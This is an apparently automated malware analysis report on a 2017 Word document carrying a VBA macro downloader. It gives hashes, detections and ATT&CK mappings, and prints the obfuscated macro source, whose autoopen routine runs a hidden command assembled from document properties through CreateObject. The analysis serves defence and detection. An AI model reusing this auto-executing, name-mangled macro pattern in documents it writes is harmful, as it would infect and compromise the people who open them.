Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 07b47a4b71e008a8…

MALICIOUS

Office (OLE)

70.5 KB Created: 2017-08-22 22:09:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 2e8bbd0c8b7de7d5f4e541c192421451 SHA-1: 126748326bff06810fb89cec3e4e15a333a59bd5 SHA-256: 07b47a4b71e008a8bc621325fe3a8410d9f1d2ff9dd4013cd7426f6cecace663
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an auto-executing macro (autoopen) that uses CreateObject to execute code. The ClamAV signature 'Doc.Macro.VBSDownloader-6336817-0' strongly suggests a downloader functionality. The VBA script itself is heavily obfuscated, but the overall pattern points to a macro-based downloader, likely delivered via spearphishing.

Heuristics 8

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     YTHWZxEskz = "zExwxzAP"
 CreateObject(wEYsydCMR + tkPeGAxRD("UvsbWRaZ") + tkPeGAxRD("tLPTAcsUNaN")).Run$ bxfPFxDXbd + yDcxsyGG + pxhNYzrbXWy + CSLBHmTuAs + sSPNYzbgYzh + eTfmWEZGVDv + rxcGUxDkyUR + EMeTuYAz + urmsCpkZB + uxBDfTNVrrD + HrUpYsad + pBPDRmLawT, 0
NxgdKKUnwX = "VceynAsThL"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
ZzdFcTUpSnH
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7822 bytes
SHA-256: 4a6565101df3431dc2a77915e1d7c0523231c3b197d4217fe79dc21a78cc881b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
193 of 227 identifiers look randomly generated (e.g. 'CbndMnKPgXm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function mSctUBbwrzm()
Dim htRsxmzHY()
ydhzCwSzZNP = 3378
ReDim htRsxmzHY(3378)
htRsxmzHY(299) = VsYttgLUDNu
 htRsxmzHY(1320) = sUBTxHYa
 htRsxmzHY(2033) = NcrMapfswdm
 htRsxmzHY(1540) = menkHnpVd
 htRsxmzHY(1452) = SUttrMrVXVN
 htRsxmzHY(986) = 8910
 htRsxmzHY(2786) = 6228
 htRsxmzHY(121) = 8204
 htRsxmzHY(567) = 2643
 For ydhzCwSzZNP = 2983 To 1168
htRsxmzHY(ydhzCwSzZNP) = ydhzCwSzZNP
Next
End Function
 
Function ceRfBYUS()
Dim gKDxgFtvDr()
apbDNpXwuGU = 1775
ReDim gKDxgFtvDr(1775)
gKDxgFtvDr(1124) = fCvpRGCZcBH
 gKDxgFtvDr(168) = LunAUtbvwMU
 gKDxgFtvDr(785) = FMaYCEVRdH
 gKDxgFtvDr(1731) = gDrfUcuYwV
 gKDxgFtvDr(610) = DaUFgxtyuXg
 gKDxgFtvDr(1772) = duNzuHhAW
 gKDxgFtvDr(1402) = 2754
 gKDxgFtvDr(1003) = 1774
 gKDxgFtvDr(469) = 5778
 gKDxgFtvDr(1325) = 5522
 For apbDNpXwuGU = 896 To 1182
gKDxgFtvDr(apbDNpXwuGU) = apbDNpXwuGU
Next
End Function
 
Function XWcwgDdHeC()
Dim cxwzRhTETKM()
LaYpYTYRZLP = 1081
ReDim cxwzRhTETKM(1081)
cxwzRhTETKM(861) = yUxySggNCE
 cxwzRhTETKM(293) = KkcDLTDDA
 cxwzRhTETKM(455) = 9350
 cxwzRhTETKM(485) = 1971
 cxwzRhTETKM(196) = 8423
 cxwzRhTETKM(517) = 8819
 cxwzRhTETKM(1046) = 4041
 For LaYpYTYRZLP = 316 To 498
cxwzRhTETKM(LaYpYTYRZLP) = LaYpYTYRZLP
Next
End Function
 
Function skFHhGPFgw()
Dim WGVZwxaDdWv()
UCcuxkXC = 470
ReDim WGVZwxaDdWv(470)
WGVZwxaDdWv(103) = xcSMnhDhr
 WGVZwxaDdWv(204) = FFcrKfzDC
 WGVZwxaDdWv(415) = HteAPErhb
 WGVZwxaDdWv(467) = 1698
 WGVZwxaDdWv(314) = 8005
 WGVZwxaDdWv(212) = 9581
 WGVZwxaDdWv(465) = 4663
 For UCcuxkXC = 219 To 104
WGVZwxaDdWv(UCcuxkXC) = UCcuxkXC
Next
End Function
 
Function rnKNcGMwv()
Dim XPUBHTcHVzT()
CbndMnKPgXm = 9469
ReDim XPUBHTcHVzT(9469)
XPUBHTcHVzT(7780) = tzmhdVHtPnV
 XPUBHTcHVzT(5348) = heEsTytbS
 XPUBHTcHVzT(8819) = 3507
 XPUBHTcHVzT(2569) = 6574
 XPUBHTcHVzT(7808) = 7183
 XPUBHTcHVzT(6326) = 7955
 For CbndMnKPgXm = 4878 To 7448
XPUBHTcHVzT(CbndMnKPgXm) = CbndMnKPgXm
Next
End Function
 
Function EPtgGUtU()
Dim keUGPBHtZ()
dtzzaTsrhSY = 7137
ReDim keUGPBHtZ(7137)
keUGPBHtZ(604) = ffgGegDDvY
 keUGPBHtZ(2884) = sXzZKVgzf
 keUGPBHtZ(5943) = AFCRcHMpS
 keUGPBHtZ(6260) = TKXLSTxXUrt
 keUGPBHtZ(2317) = gxLdUZfpeww
 keUGPBHtZ(5775) = 4533
 keUGPBHtZ(5934) = 840
 keUGPBHtZ(1863) = 4124
 keUGPBHtZ(2792) = 8957
 keUGPBHtZ(728) = 3387
 keUGPBHtZ(2301) = 5989
 For dtzzaTsrhSY = 7116 To 1630
keUGPBHtZ(dtzzaTsrhSY) = dtzzaTsrhSY
Next
End Function

Sub autoopen()
ZzdFcTUpSnH
End Sub
Public Function tkPeGAxRD(UgMphfCgv)
WydvDKZmx = "FNwaFVde"
 UxrsZLmsE = "YcFgPEGbZLt"
 EuEkhBYKrbN = "NDsBpVUPYuF"
 MXEUemYF = "BfAvyvYC"
 hPfpSyLP = "mAYDhBDMGy"
 RKBSeaXCE = "nmEDzYrs"
 tkPeGAxRD = ActiveDocument.CustomDocumentProperties(UgMphfCgv) + yDcxsyGG + pxhNYzrbXWy + CSLBHmTuAs + sSPNYzbgYzh + eTfmWEZGVDv + rxcGUxDkyUR + EMeTuYAz + urmsCpkZB + uxBDfTNVrrD + HrUpYsad + GSkYvgGWAKd
kUGaMSPT = "sAhzyWuFGFE"
 GaMkEbnF = "wzuHNPrHx"
 xUwfkAyC = "dPpzsECu"
 zyxAksfL = "UbsZFrpwMnu"
 End Function
Public Function bxfPFxDXbd()
vygDKYTuv = "KrVVrpUEWT"
 csGHdySk = "ThEYVbwLWf"
 fRRNMsWGG = "YxKafpsbZ"
 UVtRusuv = "zXpHUYaXFZ"
 GPCYctuM = "AshWCahCV"
 NGcHtWZayu = tkPeGAxRD("hkKWzTgLA") + yDcxsyGG + pxhNYzrbXWy + CSLBHmTuAs + sSPNYzbgYzh + eTfmWEZGVDv + rxcGUxDkyUR + EMeTuYAz + urmsCpkZB + uxBDfTNVrrD + HrUpYsad + tkPeGAxRD("ntuMMhpc") + tkPeGAxRD("aGnZEVzUK") + tkPeGAxRD("HZSgvhvr")
cYpYRXYDPKh = "nDuHskDW"
 CMmDvVdNS = "MEPPynhy"
 NTkpAavRKt = "cYwrxwMC"

tzgPxrStR = tkPeGAxRD("dcTwrGNtUB") + tkPeGAxRD("sXutsPNKt") + tkPeGAxRD("uvCAgBCPH") + tkPeGAxRD("RLPxYBms") + tkPeGAxRD("bnpNUtDM")
YKEyWgwDmSd = tzgPxrStR + NGcHtWZayu
zaGMAfTuA = "fXcnnGeEydM"
 nhsDhGRKLC = "GbXGAanFY"
 ttGffTSh = "PPFKTNDx"
 rDHxagvMs = "tuXDERBCP"
 DRrghwtT = "RGnndgALRNs"
 MAadnrKbGkc = "TyfscsEC"
 LUMCfdAWs = "mWuGDUWagu"
 bxfPFxDXbd = YKEyWgwDmSd + ActiveDocument.BuiltInDocumentProperties("Comments") + ""
End Function
Public Function wEYsydCMR()
wEYsydCMR = tkPeGAxRD("dzdmCAZkmD") + tkPeGAxRD("wzcDDwRWC") + tkPeGAxRD("awrkVYbYZ") + yDcxsyGG + pxhNYzrbXWy + CSLBHmTuAs + sSPNYzbgYzh + eTfmWEZGVDv + rxcGUxDkyUR + EMeTuYAz + urmsCpkZB + uxBDfTNVrrD + HrUpYsad + VNHMKmZYdG
ApZCuuXHXsb = "FhnepMzGTp"
 ARwMHsgZhXU = "AcPXwcKpLYh"
 zZNNzZgPcTV = "KndEWWNvC"
 SbTbHMNC = "YpzALhcCh"
 FXmgNMMz = "XYysGdwfX"
 YaxndVdhmF = "kKzRUZTd"
 vXnCXHTtH = "gEZZxMaZzBV"
 End Function
Public Function ZzdFcTUpSnH()
XBcAMBkSE = "KnGHPxeTD"
 BSuFATURmv = "UwfuuaXDyE"
 feZbEkcCTh = "XfwYPVUh"
 fzSNhzPLctW = "rfgubcBcX"
 fMUdFMTtVz = "eYEtdWVX"
 DvuGEUnXZTG = "ySAUmfkv"
 bSNYrLUV = "ZCsXUzSpfU"
 YTHWZxEskz = "zExwxzAP"
 CreateObject(wEYsydCMR + tkPeGAxRD("UvsbWRaZ") + tkPeGAxRD("tLPTAcsUNaN")).Run$ bxfPFxDXbd + yDcxsyGG + pxhNYzrbXWy + CSLBHmTuAs + sSPNYzbgYzh + eTfmWEZGVDv + rxcGUxDkyUR + EMeTuYAz + urmsCpkZB + uxBDfTNVrrD + HrUpYsad + pBPDRmLawT, 0
NxgdKKUnwX = "VceynAsThL"
 BnzTUABTPkB = "mRvnVfyab"
 End Function

Function pMMfvFeNA()
Dim RpGtGvpVmG()
vdTHBPtvhx = 2068
ReDim RpGtGvpVmG(2068)
RpGtGvpVmG(986) = UyywdkpM
 RpGtGvpVmG(202) = ZsvncbKV
 RpGtGvpVmG(1793) = HRYYTAEr
 RpGtGvpVmG(380) = rLNfWBKXfW
 RpGtGvpVmG(559) = TThCXBzeW
 RpGtGvpVmG(1587) = tYNmaxHK
 RpGtGvpVmG(1436) = 7358
 RpGtGvpVmG(1768) = 1254
 RpGtGvpVmG(1209) = 8168
 RpGtGvpVmG(1306) = 871
 RpGtGvpVmG(1505) = 7166
 For vdTHBPtvhx = 657 To 207
RpGtGvpVmG(vdTHBPtvhx) = vdTHBPtvhx
Next
End Function
 
Function aaCaBrAgzpg()
Dim PWChWYVCsA()
ZbyRNcKVhXM = 2637
ReDim PWChWYVCsA(2637)
PWChWYVCsA(2489) = DBsBTXtmh
 PWChWYVCsA(215) = eXNmVtEnfWs
 PWChWYVCsA(1936) = bLSNDyLG
 PWChWYVCsA(1385) = VKUhwDZKSmK
 PWChWYVCsA(2218) = MPAxhrWVrzM
 PWChWYVCsA(2169) = yFsSvczWH
 PWChWYVCsA(333) = 4407
 PWChWYVCsA(130) = 5832
 PWChWYVCsA(2164) = 9917
 PWChWYVCsA(1634) = 3645
 For ZbyRNcKVhXM = 1336 To 2454
PWChWYVCsA(ZbyRNcKVhXM) = ZbyRNcKVhXM
Next
End Function
 
Function NbvEGDucH()
Dim LfywBmCnT()
AeErrFgEhpL = 8564
ReDim LfywBmCnT(8564)
LfywBmCnT(3128) = pMDVpBpVR
 LfywBmCnT(6410) = AbKLLdsbv
 LfywBmCnT(6667) = SsEVNrycCS
 LfywBmCnT(1124) = VxgPhkeBxS
 LfywBmCnT(1457) = CCUMSDsYDXs
 LfywBmCnT(1090) = GSdNwZDuvY
 LfywBmCnT(6574) = 8992
 LfywBmCnT(2847) = 5731
 For AeErrFgEhpL = 8370 To 3582
LfywBmCnT(AeErrFgEhpL) = AeErrFgEhpL
Next
End Function
 
Function LrCsepMWn()
Dim BmcbCwkgW()
SyTNNVKh = 878
ReDim BmcbCwkgW(878)
BmcbCwkgW(497) = mCDThkhECB
 BmcbCwkgW(256) = KwMdvvzx
 BmcbCwkgW(874) = FNuLhPYKsXt
 BmcbCwkgW(278) = 6724
 BmcbCwkgW(75) = 9171
 BmcbCwkgW(171) = 4276
 BmcbCwkgW(312) = 7931
 BmcbCwkgW(762) = 97
 BmcbCwkgW(120) = 5368
 For SyTNNVKh = 321 To 464
BmcbCwkgW(SyTNNVKh) = SyTNNVKh
Next
End Function
 
Function MKFgaHku()
Dim mHYXULzddcM()
gPkVHXCwZbn = 1289
ReDim mHYXULzddcM(1289)
mHYXULzddcM(219) = vVMxkAbF
 mHYXULzddcM(141) = ScEHAKAeH
 mHYXULzddcM(70) = YkBbCNsyx
 mHYXULzddcM(372) = DYGNyXXwk
 mHYXULzddcM(73) = bGgXGUeK
 mHYXULzddcM(1049) = 267
 mHYXULzddcM(960) = 3897
 mHYXULzddcM(91) = 7003
 mHYXULzddcM(536) = 6918
 mHYXULzddcM(1231) = 6202
 For gPkVHXCwZbn = 1078 To 540
mHYXULzddcM(gPkVHXCwZbn) = gPkVHXCwZbn
Next
End Function
 
Function xAWymPes()
Dim zHVnvmUZ()
wbMXXwgVn = 9892
ReDim zHVnvmUZ(9892)
zHVnvmUZ(1455) = PMWcBESfUy
 zHVnvmUZ(212) = xBwEuGcp
 zHVnvmUZ(8344) = bWMPNtKv
 zHVnvmUZ(8983) = 9250
 zHVnvmUZ(4057) = 9164
 zHVnvmUZ(2151) = 2546
 For wbMXXwgVn = 9412 To 5925
zHVnvmUZ(wbMXXwgVn) = wbMXXwgVn
Next
End Function

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